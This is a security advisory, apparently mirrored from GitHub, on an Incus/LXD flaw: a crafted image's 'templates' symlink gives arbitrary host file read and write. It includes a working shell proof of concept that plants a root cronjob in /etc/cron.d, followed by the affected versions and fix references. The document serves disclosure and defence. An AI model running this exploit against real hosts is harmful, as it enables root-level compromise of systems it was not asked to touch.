Description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
### Summary
A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.
### Details
For container images, `internal/server/storage/utils.go` calls
`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in
`shared/archive/archive.go` excludes device nodes, but it does not
reject a top-level `templates` symlink.
In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.
### PoC
Below, we map the templates directory to `/etc/cron.d` on the host, but
it can be mapped anywhere. We then create a cronjob to run `id` as root.
```
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
```
### Impact
Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
Affected packages
| Ecosystem | Package | Affected | Fixed | Record |
|---|---|---|---|---|
| Go | github.com/canonical/lxd | < 0.0.0-20260203144152-d1c8ba15d160 | 0.0.0-20260203144152-d1c8ba15d160 | GHSA-jpf8-86f3-wp38 |
References
- https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38 web
- https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-48752 advisory
- https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd web
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da web
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f web
- https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3 web
- https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7 web
- https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9 web
- https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805 web
- https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a web
- https://github.com/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef web
- https://github.com/canonical/lxd package